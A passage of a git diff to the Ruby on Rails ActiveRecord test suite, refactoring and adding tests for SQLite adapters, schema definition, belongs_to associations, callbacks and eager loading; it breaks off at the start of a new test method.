diff --git a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
index 5a4fe63580..deedf67c8e 100644
--- a/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/sqlite3_create_folder_test.rb
@@ -1,4 +1,3 @@
-# encoding: utf-8
 require "cases/helper"
 require 'models/owner'
 
@@ -12,7 +11,7 @@ module ActiveRecord
                                :adapter => 'sqlite3',
                                :timeout => 100
 
-          assert Dir.exists? dir.join('db')
+          assert Dir.exist? dir.join('db')
           assert File.exist? dir.join('db/foo.sqlite3')
         end
       end
diff --git a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
index 2f04c60a9a..fd0044ac05 100644
--- a/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
+++ b/activerecord/test/cases/adapters/sqlite3/statement_pool_test.rb
@@ -3,20 +3,21 @@ require 'cases/helper'
 module ActiveRecord::ConnectionAdapters
   class SQLite3Adapter
     class StatementPoolTest < ActiveRecord::TestCase
-      def test_cache_is_per_pid
-        return skip('must support fork') unless Process.respond_to?(:fork)
+      if Process.respond_to?(:fork)
+        def test_cache_is_per_pid
 
-        cache = StatementPool.new nil, 10
-        cache['foo'] = 'bar'
-        assert_equal 'bar', cache['foo']
+          cache = StatementPool.new nil, 10
+          cache['foo'] = 'bar'
+          assert_equal 'bar', cache['foo']
 
-        pid = fork {
-          lookup = cache['foo'];
-          exit!(!lookup)
-        }
+          pid = fork {
+            lookup = cache['foo'];
+            exit!(!lookup)
+          }
 
-        Process.waitpid pid
-        assert $?.success?, 'process should exit successfully'
+          Process.waitpid pid
+          assert $?.success?, 'process should exit successfully'
+        end
       end
     end
   end
diff --git a/activerecord/test/cases/ar_schema_test.rb b/activerecord/test/cases/ar_schema_test.rb
index 500df52cd8..f4e8003bc3 100644
--- a/activerecord/test/cases/ar_schema_test.rb
+++ b/activerecord/test/cases/ar_schema_test.rb
@@ -5,16 +5,34 @@ if ActiveRecord::Base.connection.supports_migrations?
   class ActiveRecordSchemaTest < ActiveRecord::TestCase
     self.use_transactional_fixtures = false
 
-    def setup
+    setup do
+      @original_verbose = ActiveRecord::Migration.verbose
+      ActiveRecord::Migration.verbose = false
       @connection = ActiveRecord::Base.connection
       ActiveRecord::SchemaMigration.drop_table
     end
 
-    def teardown
+    teardown do
       @connection.drop_table :fruits rescue nil
       @connection.drop_table :nep_fruits rescue nil
       @connection.drop_table :nep_schema_migrations rescue nil
+      @connection.drop_table :has_timestamps rescue nil
       ActiveRecord::SchemaMigration.delete_all rescue nil
+      ActiveRecord::Migration.verbose = @original_verbose
+    end
+
+    def test_has_no_primary_key
+      old_primary_key_prefix_type = ActiveRecord::Base.primary_key_prefix_type
+      ActiveRecord::Base.primary_key_prefix_type = :table_name_with_underscore
+      assert_nil ActiveRecord::SchemaMigration.primary_key
+
+      ActiveRecord::SchemaMigration.create_table
+      assert_difference "ActiveRecord::SchemaMigration.count", 1 do
+        ActiveRecord::SchemaMigration.create version: 12
+      end
+    ensure
+      ActiveRecord::SchemaMigration.drop_table
+      ActiveRecord::Base.primary_key_prefix_type = old_primary_key_prefix_type
     end
 
     def test_schema_define
@@ -34,6 +52,7 @@ if ActiveRecord::Base.connection.supports_migrations?
 
     def test_schema_define_w_table_name_prefix
       table_name = ActiveRecord::SchemaMigration.table_name
+      old_table_name_prefix = ActiveRecord::Base.table_name_prefix
       ActiveRecord::Base.table_name_prefix  = "nep_"
       ActiveRecord::SchemaMigration.table_name = "nep_#{table_name}"
       ActiveRecord::Schema.define(:version => 7) do
@@ -46,7 +65,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       end
       assert_equal 7, ActiveRecord::Migrator::current_version
     ensure
-      ActiveRecord::Base.table_name_prefix  = ""
+      ActiveRecord::Base.table_name_prefix  = old_table_name_prefix
       ActiveRecord::SchemaMigration.table_name = table_name
     end
 
@@ -66,5 +85,46 @@ if ActiveRecord::Base.connection.supports_migrations?
       end
       assert_nothing_raised { @connection.select_all "SELECT * FROM fruits" }
     end
+
+    def test_normalize_version
+      assert_equal "118", ActiveRecord::SchemaMigration.normalize_migration_number("0000118")
+      assert_equal "002", ActiveRecord::SchemaMigration.normalize_migration_number("2")
+      assert_equal "017", ActiveRecord::SchemaMigration.normalize_migration_number("0017")
+      assert_equal "20131219224947", ActiveRecord::SchemaMigration.normalize_migration_number("20131219224947")
+    end
+
+    def test_timestamps_without_null_set_null_to_false_on_create_table
+      ActiveRecord::Schema.define do
+        create_table :has_timestamps do |t|
+          t.timestamps
+        end
+      end
+
+      assert !@connection.columns(:has_timestamps).find { |c| c.name == 'created_at' }.null
+      assert !@connection.columns(:has_timestamps).find { |c| c.name == 'updated_at' }.null
+    end
+
+    def test_timestamps_without_null_set_null_to_false_on_change_table
+      ActiveRecord::Schema.define do
+        create_table :has_timestamps
+
+        change_table :has_timestamps do |t|
+          t.timestamps default: Time.now
+        end
+      end
+
+      assert !@connection.columns(:has_timestamps).find { |c| c.name == 'created_at' }.null
+      assert !@connection.columns(:has_timestamps).find { |c| c.name == 'updated_at' }.null
+    end
+
+    def test_timestamps_without_null_set_null_to_false_on_add_timestamps
+      ActiveRecord::Schema.define do
+        create_table :has_timestamps
+        add_timestamps :has_timestamps, default: Time.now
+      end
+
+      assert !@connection.columns(:has_timestamps).find { |c| c.name == 'created_at' }.null
+      assert !@connection.columns(:has_timestamps).find { |c| c.name == 'updated_at' }.null
+    end
   end
 end
diff --git a/activerecord/test/cases/associations/association_scope_test.rb b/activerecord/test/cases/associations/association_scope_test.rb
index d38648202e..472e270f8c 100644
--- a/activerecord/test/cases/associations/association_scope_test.rb
+++ b/activerecord/test/cases/associations/association_scope_test.rb
@@ -6,9 +6,10 @@ module ActiveRecord
   module Associations
     class AssociationScopeTest < ActiveRecord::TestCase
       test 'does not duplicate conditions' do
-        association_scope = AssociationScope.new(Author.new.association(:welcome_posts))
-        wheres = association_scope.scope.where_values.map(&:right)
-        assert_equal wheres.uniq, wheres
+        scope = AssociationScope.scope(Author.new.association(:welcome_posts),
+                                        Author.connection)
+        binds = scope.where_clause.binds.map(&:value)
+        assert_equal binds.uniq, binds
       end
     end
   end
diff --git a/activerecord/test/cases/associations/belongs_to_associations_test.rb b/activerecord/test/cases/associations/belongs_to_associations_test.rb
index a79f145e31..a425b3ed88 100644
--- a/activerecord/test/cases/associations/belongs_to_associations_test.rb
+++ b/activerecord/test/cases/associations/belongs_to_associations_test.rb
@@ -1,5 +1,6 @@
 require 'cases/helper'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/company'
 require 'models/topic'
@@ -16,6 +17,8 @@ require 'models/essay'
 require 'models/toy'
 require 'models/invoice'
 require 'models/line_item'
+require 'models/column'
+require 'models/record'
 
 class BelongsToAssociationsTest < ActiveRecord::TestCase
   fixtures :accounts, :companies, :developers, :projects, :topics,
@@ -28,6 +31,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal companies(:first_firm).name, firm.name
   end
 
+  def test_belongs_to_does_not_use_order_by
+    ActiveRecord::SQLCounter.clear_log
+    Client.find(3).firm
+  ensure
+    assert ActiveRecord::SQLCounter.log_all.all? { |sql| /order by/i !~ sql }, 'ORDER BY was used in the query'
+  end
+
   def test_belongs_to_with_primary_key
     client = Client.create(:name => "Primary key client", :firm_name => companies(:first_firm).name)
     assert_equal companies(:first_firm).name, client.firm_with_primary_key.name
@@ -48,6 +58,35 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     end
   end
 
+  def test_default_scope_on_relations_is_not_cached
+    counter = 0
+
+    comments = Class.new(ActiveRecord::Base) {
+      self.table_name = 'comments'
+      self.inheritance_column = 'not_there'
+
+      posts = Class.new(ActiveRecord::Base) {
+        self.table_name = 'posts'
+        self.inheritance_column = 'not_there'
+
+        default_scope -> {
+          counter += 1
+          where("id = :inc", :inc => counter)
+        }
+
+        has_many :comments, :class => comments
+      }
+      belongs_to :post, :class => posts, :inverse_of => false
+    }
+
+    assert_equal 0, counter
+    comment = comments.first
+    assert_equal 0, counter
+    sql = capture_sql { comment.post }
+    comment.reload
+    assert_not_equal sql, capture_sql { comment.post }
+  end
+
   def test_proxy_assignment
     account = Account.find(1)
     assert_nothing_raised { account.firm = account.firm }
@@ -83,14 +122,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     Firm.create("name" => "Apple")
     Client.create("name" => "Citibank", :firm_name => "Apple")
     citibank_result = Client.all.merge!(:where => {:name => "Citibank"}, :includes => :firm_with_primary_key).first
-    assert citibank_result.association_cache.key?(:firm_with_primary_key)
+    assert citibank_result.association(:firm_with_primary_key).loaded?
   end
 
   def test_eager_loading_with_primary_key_as_symbol
     Firm.create("name" => "Apple")
     Client.create("name" => "Citibank", :firm_name => "Apple")
     citibank_result = Client.all.merge!(:where => {:name => "Citibank"}, :includes => :firm_with_primary_key_symbols).first
-    assert citibank_result.association_cache.key?(:firm_with_primary_key_symbols)
+    assert citibank_result.association(:firm_with_primary_key_symbols).loaded?
   end
 
   def test_creating_the_belonging_object
@@ -224,13 +263,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
 
   def test_belongs_to_counter
     debate = Topic.create("title" => "debate")
-    assert_equal 0, debate.send(:read_attribute, "replies_count"), "No replies yet"
+    assert_equal 0, debate.read_attribute("replies_count"), "No replies yet"
 
     trash = debate.replies.create("title" => "blah!", "content" => "world around!")
-    assert_equal 1, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply created"
+    assert_equal 1, Topic.find(debate.id).read_attribute("replies_count"), "First reply created"
 
     trash.destroy
-    assert_equal 0, Topic.find(debate.id).send(:read_attribute, "replies_count"), "First reply deleted"
+    assert_equal 0, Topic.find(debate.id).read_attribute("replies_count"), "First reply deleted"
   end
 
   def test_belongs_to_counter_with_assigning_nil
@@ -333,6 +372,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_queries(1) { line_item.touch }
   end
 
+  def test_belongs_to_with_touch_option_on_touch_without_updated_at_attributes
+    assert_not LineItem.column_names.include?("updated_at")
+
+    line_item = LineItem.create!
+    invoice = Invoice.create!(line_items: [line_item])
+    initial = invoice.updated_at
+    line_item.touch
+
+    assert_not_equal initial, invoice.reload.updated_at
+  end
+
   def test_belongs_to_with_touch_option_on_touch_and_removed_parent
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
@@ -349,6 +399,13 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_queries(2) { line_item.update amount: 10 }
   end
 
+  def test_belongs_to_with_touch_option_on_empty_update
+    line_item = LineItem.create!
+    Invoice.create!(line_items: [line_item])
+
+    assert_queries(0) { line_item.save }
+  end
+
   def test_belongs_to_with_touch_option_on_destroy
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
@@ -356,6 +413,14 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_queries(2) { line_item.destroy }
   end
 
+  def test_belongs_to_with_touch_option_on_destroy_with_destroyed_parent
+    line_item = LineItem.create!
+    invoice   = Invoice.create!(line_items: [line_item])
+    invoice.destroy
+
+    assert_queries(1) { line_item.destroy }
+  end
+
   def test_belongs_to_with_touch_option_on_touch_and_reassigned_parent
     line_item = LineItem.create!
     Invoice.create!(line_items: [line_item])
@@ -474,6 +539,27 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 4, topic.replies.size
   end
 
+  def test_concurrent_counter_cache_double_destroy
+    topic = Topic.create :title => "Zoom-zoom-zoom"
+
+    5.times do
+      topic.replies.create(:title => "re: zoom", :content => "speedy quick!")
+    end
+
+    assert_equal 5, topic.reload[:replies_count]
+    assert_equal 5, topic.replies.size
+
+    reply = topic.replies.first
+    reply_clone = Reply.find(reply.id)
+
+    reply.destroy
+    assert_equal 4, topic.reload[:replies_count]
+
+    reply_clone.destroy
+    assert_equal 4, topic.reload[:replies_count]
+    assert_equal 4, topic.replies.size
+  end
+
   def test_custom_counter_cache
     reply = Reply.create(:title => "re: zoom", :content => "speedy quick!")
     assert_equal 0, reply[:replies_count]
@@ -514,6 +600,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert companies(:first_client).readonly_firm.readonly?
   end
 
+  def test_test_polymorphic_assignment_foreign_key_type_string
+    comment = Comment.first
+    comment.author   = Author.first
+    comment.resource = Member.first
+    comment.save
+
+    assert_equal Comment.all.to_a,
+      Comment.includes(:author).to_a
+
+    assert_equal Comment.all.to_a,
+      Comment.includes(:resource).to_a
+  end
+
   def test_polymorphic_assignment_foreign_type_field_updating
     # should update when assigning a saved record
     sponsor = Sponsor.new
@@ -578,6 +677,19 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_nil essay.writer_id
   end
 
+  def test_polymorphic_assignment_with_nil
+    essay = Essay.new
+    assert_nil essay.writer_id
+    assert_nil essay.writer_type
+
+    essay.writer_id = 1
+    essay.writer_type = 'Author'
+
+    essay.writer = nil
+    assert_nil essay.writer_id
+    assert_nil essay.writer_type
+  end
+
   def test_belongs_to_proxy_should_not_respond_to_private_methods
     assert_raise(NoMethodError) { companies(:first_firm).private_method }
     assert_raise(NoMethodError) { companies(:second_client).firm.private_method }
@@ -619,16 +731,11 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal [author_address.id], AuthorAddress.destroyed_author_address_ids
   end
 
-  def test_invalid_belongs_to_dependent_option_nullify_raises_exception
-    assert_raise ArgumentError do
+  def test_belongs_to_invalid_dependent_option_raises_exception
+    error = assert_raise ArgumentError do
       Class.new(Author).belongs_to :special_author_address, :dependent => :nullify
     end
-  end
-
-  def test_invalid_belongs_to_dependent_option_restrict_raises_exception
-    assert_raise ArgumentError do
-      Class.new(Author).belongs_to :special_author_address, :dependent => :restrict
-    end
+    assert_equal error.message, 'The :dependent option must be one of [:destroy, :delete], but is :nullify'
   end
 
   def test_attributes_are_being_set_when_initialized_from_belongs_to_association_with_where_clause
@@ -710,8 +817,8 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     post    = posts(:welcome)
     comment = comments(:greetings)
 
-    assert_difference lambda { post.reload.taggings_count }, -1 do
-      assert_difference 'comment.reload.taggings_count', +1 do
+    assert_difference lambda { post.reload.tags_count }, -1 do
+      assert_difference 'comment.reload.tags_count', +1 do
         tagging.taggable = comment
       end
     end
@@ -801,6 +908,17 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert_equal 0, comments(:greetings).reload.children_count
   end
 
+  def test_belongs_to_with_id_assigning
+    post = posts(:welcome)
+    comment = Comment.create! body: "foo", post: post
+    parent = comments(:greetings)
+    assert_equal 0, parent.reload.children_count
+    comment.parent_id = parent.id
+
+    comment.save!
+    assert_equal 1, parent.reload.children_count
+  end
+
   def test_polymorphic_with_custom_primary_key
     toy = Toy.create!
     sponsor = Sponsor.create!(:sponsorable => toy)
@@ -830,4 +948,31 @@ class BelongsToAssociationsTest < ActiveRecord::TestCase
     assert post.save
     assert_equal post.author_id, author2.id
   end
+
+  test 'dangerous association name raises ArgumentError' do
+    [:errors, 'errors', :save, 'save'].each do |name|
+      assert_raises(ArgumentError, "Association #{name} should not be allowed") do
+        Class.new(ActiveRecord::Base) do
+          belongs_to name
+        end
+      end
+    end
+  end
+
+  test 'belongs_to works with model called Record' do
+    record = Record.create!
+    Column.create! record: record
+    assert_equal 1, Column.count
+  end
+end
+
+class BelongsToWithForeignKeyTest < ActiveRecord::TestCase
+  fixtures :authors, :author_addresses
+
+  def test_destroy_linked_models
+    address = AuthorAddress.create!
+    author = Author.create! name: "Author", author_address_id: address.id
+
+    author.destroy!
+  end
 end
diff --git a/activerecord/test/cases/associations/callbacks_test.rb b/activerecord/test/cases/associations/callbacks_test.rb
index 2d0d4541b4..a531e0e02c 100644
--- a/activerecord/test/cases/associations/callbacks_test.rb
+++ b/activerecord/test/cases/associations/callbacks_test.rb
@@ -3,6 +3,7 @@ require 'models/post'
 require 'models/author'
 require 'models/project'
 require 'models/developer'
+require 'models/computer'
 require 'models/company'
 
 class AssociationCallbacksTest < ActiveRecord::TestCase
@@ -101,6 +102,27 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
                   "after_adding#{david.id}"], ar.developers_log
   end
 
+  def test_has_and_belongs_to_many_before_add_called_before_save
+    dev     = nil
+    new_dev = nil
+    klass = Class.new(Project) do
+      def self.name; Project.name; end
+      has_and_belongs_to_many :developers_with_callbacks,
+                                :class_name => "Developer",
+                                :before_add => lambda { |o,r|
+        dev     = r
+        new_dev = r.new_record?
+      }
+    end
+    rec = klass.create!
+    alice = Developer.new(:name => 'alice')
+    rec.developers_with_callbacks << alice
+    assert_equal alice, dev
+    assert_not_nil new_dev
+    assert new_dev, "record should not have been saved"
+    assert_not alice.new_record?
+  end
+
   def test_has_and_belongs_to_many_after_add_called_after_save
     ar = projects(:active_record)
     assert ar.developers_log.empty?
@@ -129,7 +151,7 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
                   "after_removing#{jamis.id}"], activerecord.developers_log
   end
 
-  def test_has_and_belongs_to_many_remove_callback_on_clear
+  def test_has_and_belongs_to_many_does_not_fire_callbacks_on_clear
     activerecord = projects(:active_record)
     assert activerecord.developers_log.empty?
     if activerecord.developers_with_callbacks.size == 0
@@ -138,9 +160,9 @@ class AssociationCallbacksTest < ActiveRecord::TestCase
       activerecord.reload
       assert activerecord.developers_with_callbacks.size == 2
     end
-    log_array = activerecord.developers_with_callbacks.collect {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.flatten.sort
+    activerecord.developers_with_callbacks.flat_map {|d| ["before_removing#{d.id}","after_removing#{d.id}"]}.sort
     assert activerecord.developers_with_callbacks.clear
-    assert_equal log_array, activerecord.developers_log.sort
+    assert_predicate activerecord.developers_log, :empty?
   end
 
   def test_has_many_and_belongs_to_many_callbacks_for_save_on_parent
diff --git a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
index 811d91f849..51d8e0523e 100644
--- a/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
+++ b/activerecord/test/cases/associations/cascaded_eager_loading_test.rb
@@ -35,9 +35,9 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
 
   def test_eager_association_loading_with_hmt_does_not_table_name_collide_when_joining_associations
     assert_nothing_raised do
-      Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
+      Author.joins(:posts).eager_load(:comments).where(:posts => {:tags_count => 1}).to_a
     end
-    authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:taggings_count => 1}).to_a
+    authors = Author.joins(:posts).eager_load(:comments).where(:posts => {:tags_count => 1}).to_a
     assert_equal 1, assert_no_queries { authors.size }
     assert_equal 10, assert_no_queries { authors[0].comments.size }
   end
@@ -174,4 +174,15 @@ class CascadedEagerLoadingTest < ActiveRecord::TestCase
     sink = Vertex.all.merge!(:includes=>{:sources=>{:sources=>{:sources=>:sources}}}, :order => 'vertices.id DESC').first
     assert_equal vertices(:vertex_1), assert_no_queries { sink.sources.first.sources.first.sources.first.sources.first }
   end
+
+  def test_eager_association_loading_with_cascaded_interdependent_one_level_and_two_levels
+    authors_relation = Author.all.merge!(includes: [:comments, { posts: :categorizations }], order: "authors.id")
+    authors = authors_relation.to_a
+    assert_equal 3, authors.size
+    assert_equal 10, authors[0].comments.size
+    assert_equal 1, authors[1].comments.size
+    assert_equal 5, authors[0].posts.size
+    assert_equal 3, authors[1].posts.size
+    assert_equal 3, authors[0].posts.collect { |post| post.categorizations.size }.inject(0) { |sum, i| sum+i }
+  end
 end
diff --git a/activerecord/test/cases/associations/eager_load_nested_include_test.rb b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
index 5ff117eaa0..f571198079 100644
--- a/activerecord/test/cases/associations/eager_load_nested_include_test.rb
+++ b/activerecord/test/cases/associations/eager_load_nested_include_test.rb
@@ -68,11 +68,9 @@ class EagerLoadPolyAssocsTest < ActiveRecord::TestCase
     generate_test_object_graphs
   end
 
-  def teardown
+  teardown do
     [Circle, Square, Triangle, PaintColor, PaintTexture,
-     ShapeExpression, NonPolyOne, NonPolyTwo].each do |c|
-      c.delete_all
-    end
+     ShapeExpression, NonPolyOne, NonPolyTwo].each(&:delete_all)
   end
 
   def generate_test_object_graphs
@@ -111,7 +109,7 @@ class EagerLoadNestedIncludeWithMissingDataTest < ActiveRecord::TestCase
     @first_categorization = @davey_mcdave.categorizations.create(:category => Category.first, :post => @first_post)
   end
 
-  def teardown
+  teardown do
     @davey_mcdave.destroy
     @first_post.destroy
     @first_comment.destroy
diff --git a/activerecord/test/cases/associations/eager_singularization_test.rb b/activerecord/test/cases/associations/eager_singularization_test.rb
index 634f6b63ba..a61a070331 100644
--- a/activerecord/test/cases/associations/eager_singularization_test.rb
+++ b/activerecord/test/cases/associations/eager_singularization_test.rb
@@ -1,128 +1,132 @@
 require "cases/helper"
 
-class Virus < ActiveRecord::Base
-  belongs_to :octopus
-end
-class Octopus < ActiveRecord::Base
-  has_one :virus
-end
-class Pass < ActiveRecord::Base
-  belongs_to :bus
-end
-class Bus < ActiveRecord::Base
-  has_many :passes
-end
-class Mess < ActiveRecord::Base
-  has_and_belongs_to_many :crises
-end
-class Crisis < ActiveRecord::Base
-  has_and_belongs_to_many :messes
-  has_many :analyses, :dependent => :destroy
-  has_many :successes, :through => :analyses
-  has_many :dresses, :dependent => :destroy
-  has_many :compresses, :through => :dresses
-end
-class Analysis < ActiveRecord::Base
-  belongs_to :crisis
-  belongs_to :success
-end
-class Success < ActiveRecord::Base
-  has_many :analyses, :dependent => :destroy
-  has_many :crises, :through => :analyses
-end
-class Dress < ActiveRecord::Base
-  belongs_to :crisis
-  has_many :compresses
-end
-class Compress < ActiveRecord::Base
-  belongs_to :dress
-end
-
 
+if ActiveRecord::Base.connection.supports_migrations?
 class EagerSingularizationTest < ActiveRecord::TestCase
+  class Virus < ActiveRecord::Base
+    belongs_to :octopus
+  end
+
+  class Octopus < ActiveRecord::Base
+    has_one :virus
+  end
+
+  class Pass < ActiveRecord::Base
+    belongs_to :bus
+  end
+
+  class Bus < ActiveRecord::Base
+    has_many :passes
+  end
+
+  class Mess < ActiveRecord::Base
+    has_and_belongs_to_many :crises
+  end
+
+  class Crisis < ActiveRecord::Base
+    has_and_belongs_to_many :messes
+    has_many :analyses, :dependent => :destroy
+    has_many :successes, :through => :analyses
+    has_many :dresses, :dependent => :destroy
+    has_many :compresses, :through => :dresses
+  end
+
+  class Analysis < ActiveRecord::Base
+    belongs_to :crisis
+    belongs_to :success
+  end
+
+  class Success < ActiveRecord::Base
+    has_many :analyses, :dependent => :destroy
+    has_many :crises, :through => :analyses
+  end
+
+  class Dress < ActiveRecord::Base
+    belongs_to :crisis
+    has_many :compresses
+  end
+
+  class Compress < ActiveRecord::Base
+    belongs_to :dress
+  end
 
   def setup
-    if ActiveRecord::Base.connection.supports_migrations?
-      ActiveRecord::Base.connection.create_table :viri do |t|
-        t.column :octopus_id, :integer
-        t.column :species, :string
-      end
-      ActiveRecord::Base.connection.create_table :octopi do |t|
-        t.column :species, :string
-      end
-      ActiveRecord::Base.connection.create_table :passes do |t|
-        t.column :bus_id, :integer
-        t.column :rides, :integer
-      end
-      ActiveRecord::Base.connection.create_table :buses do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :crises_messes, :id => false do |t|
-        t.column :crisis_id, :integer
-        t.column :mess_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :messes do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :crises do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :successes do |t|
-        t.column :name, :string
-      end
-      ActiveRecord::Base.connection.create_table :analyses do |t|
-        t.column :crisis_id, :integer
-        t.column :success_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :dresses do |t|
-        t.column :crisis_id, :integer
-      end
-      ActiveRecord::Base.connection.create_table :compresses do |t|
-        t.column :dress_id, :integer
-      end
-      @have_tables = true
-    else
-      @have_tables = false
-    end
-  end
-
-  def teardown
-    ActiveRecord::Base.connection.drop_table :viri
-    ActiveRecord::Base.connection.drop_table :octopi
-    ActiveRecord::Base.connection.drop_table :passes
-    ActiveRecord::Base.connection.drop_table :buses
-    ActiveRecord::Base.connection.drop_table :crises_messes
-    ActiveRecord::Base.connection.drop_table :messes
-    ActiveRecord::Base.connection.drop_table :crises
-    ActiveRecord::Base.connection.drop_table :successes
-    ActiveRecord::Base.connection.drop_table :analyses
-    ActiveRecord::Base.connection.drop_table :dresses
-    ActiveRecord::Base.connection.drop_table :compresses
+    connection.create_table :viri do |t|
+      t.column :octopus_id, :integer
+      t.column :species, :string
+    end
+    connection.create_table :octopi do |t|
+      t.column :species, :string
+    end
+    connection.create_table :passes do |t|
+      t.column :bus_id, :integer
+      t.column :rides, :integer
+    end
+    connection.create_table :buses do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises_messes, :id => false do |t|
+      t.column :crisis_id, :integer
+      t.column :mess_id, :integer
+    end
+    connection.create_table :messes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :crises do |t|
+      t.column :name, :string
+    end
+    connection.create_table :successes do |t|
+      t.column :name, :string
+    end
+    connection.create_table :analyses do |t|
+      t.column :crisis_id, :integer
+      t.column :success_id, :integer
+    end
+    connection.create_table :dresses do |t|
+      t.column :crisis_id, :integer
+    end
+    connection.create_table :compresses do |t|
+      t.column :dress_id, :integer
+    end
+  end
+
+  teardown do
+    connection.drop_table :viri
+    connection.drop_table :octopi
+    connection.drop_table :passes
+    connection.drop_table :buses
+    connection.drop_table :crises_messes
+    connection.drop_table :messes
+    connection.drop_table :crises
+    connection.drop_table :successes
+    connection.drop_table :analyses
+    connection.drop_table :dresses
+    connection.drop_table :compresses
+  end
+
+  def connection
+    ActiveRecord::Base.connection
   end
 
   def test_eager_no_extra_singularization_belongs_to
-    return unless @have_tables
     assert_nothing_raised do
       Virus.all.merge!(:includes => :octopus).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_one
-    return unless @have_tables
     assert_nothing_raised do
       Octopus.all.merge!(:includes => :virus).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many
-    return unless @have_tables
     assert_nothing_raised do
       Bus.all.merge!(:includes => :passes).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_and_belongs_to_many
-    return unless @have_tables
     assert_nothing_raised do
       Crisis.all.merge!(:includes => :messes).to_a
       Mess.all.merge!(:includes => :crises).to_a
@@ -130,16 +134,15 @@ class EagerSingularizationTest < ActiveRecord::TestCase
   end
 
   def test_eager_no_extra_singularization_has_many_through_belongs_to
-    return unless @have_tables
     assert_nothing_raised do
       Crisis.all.merge!(:includes => :successes).to_a
     end
   end
 
   def test_eager_no_extra_singularization_has_many_through_has_many
-    return unless @have_tables
     assert_nothing_raised do
       Crisis.all.merge!(:includes => :compresses).to_a
     end
   end
 end
+end
diff --git a/activerecord/test/cases/associations/eager_test.rb b/activerecord/test/cases/associations/eager_test.rb
index 28bf48f4fd..7d8b933992 100644
--- a/activerecord/test/cases/associations/eager_test.rb
+++ b/activerecord/test/cases/associations/eager_test.rb
@@ -4,6 +4,7 @@ require 'models/tagging'
 require 'models/tag'
 require 'models/comment'
 require 'models/author'
+require 'models/essay'
 require 'models/category'
 require 'models/company'
 require 'models/person'
@@ -16,6 +17,7 @@ require 'models/subscriber'
 require 'models/subscription'
 require 'models/book'
 require 'models/developer'
+require 'models/computer'
 require 'models/project'
 require 'models/member'
 require 'models/membership'
@@ -24,7 +26,7 @@ require 'models/categorization'
 require 'models/sponsor'
 
 class EagerAssociationTest < ActiveRecord::TestCase
-  fixtures :posts, :comments, :authors, :author_addresses, :categories, :categories_posts,
+  fixtures :posts, :comments, :authors, :essays, :author_addresses, :categories, :categories_posts,
             :companies, :accounts, :tags, :taggings, :people, :readers, :categorizations,
             :owners, :pets, :author_favorites, :jobs, :references, :subscribers, :subscriptions, :books,
             :developers, :projects, :developers_projects, :members, :memberships, :clubs, :sponsors
@@ -75,9 +77,17 @@ class EagerAssociationTest < ActiveRecord::TestCase
 
   def test_has_many_through_with_order
     authors = Author.includes(:favorite_authors).to_a
+    assert authors.count > 0
     assert_no_queries { authors.map(&:favorite_authors) }
   end
 
+  def test_eager_loaded_has_one_association_with_references_does_not_run_additional_queries
+    Post.update_all(author_id: nil)
+    authors = Author.includes(:post).references(:post).to_a
+    assert authors.count > 0
+    assert_no_queries { authors.map(&:post) }
+  end
+
   def test_with_two_tables_in_from_without_getting_double_quoted
     posts = Post.select("posts.*").from("authors, posts").eager_load(:comments).where("posts.author_id = authors.id").order("posts.id").to_a
     assert_equal 2, posts.first.comments.size
@@ -234,6 +244,17 @@ class EagerAssociationTest < ActiveRecord::TestCase
     end
   end
 
+  def test_finding_with_includes_on_empty_polymorphic_type_column
+    sponsor = sponsors(:moustache_club_sponsor_for_groucho)
+    sponsor.update!(sponsorable_type: '', sponsorable_id: nil) # sponsorable_type column might be declared NOT NULL
+    sponsor = assert_queries(1) do
+      assert_nothing_raised { Sponsor.all.merge!(:includes => :sponsorable).find(sponsor.id) }
+    end
+    assert_no_queries do
+      assert_equal nil, sponsor.sponsorable
+    end
+  end
+
   def test_loading_from_an_association
     posts = authors(:david).posts.merge(:includes => :comments, :order => "posts.id").to_a
     assert_equal 2, posts.first.comments.size
@@ -257,6 +278,14 @@ class EagerAssociationTest < ActiveRecord::TestCase
     end
   end
 
+  def test_three_level_nested_preloading_does_not_raise_exception_when_association_does_not_exist
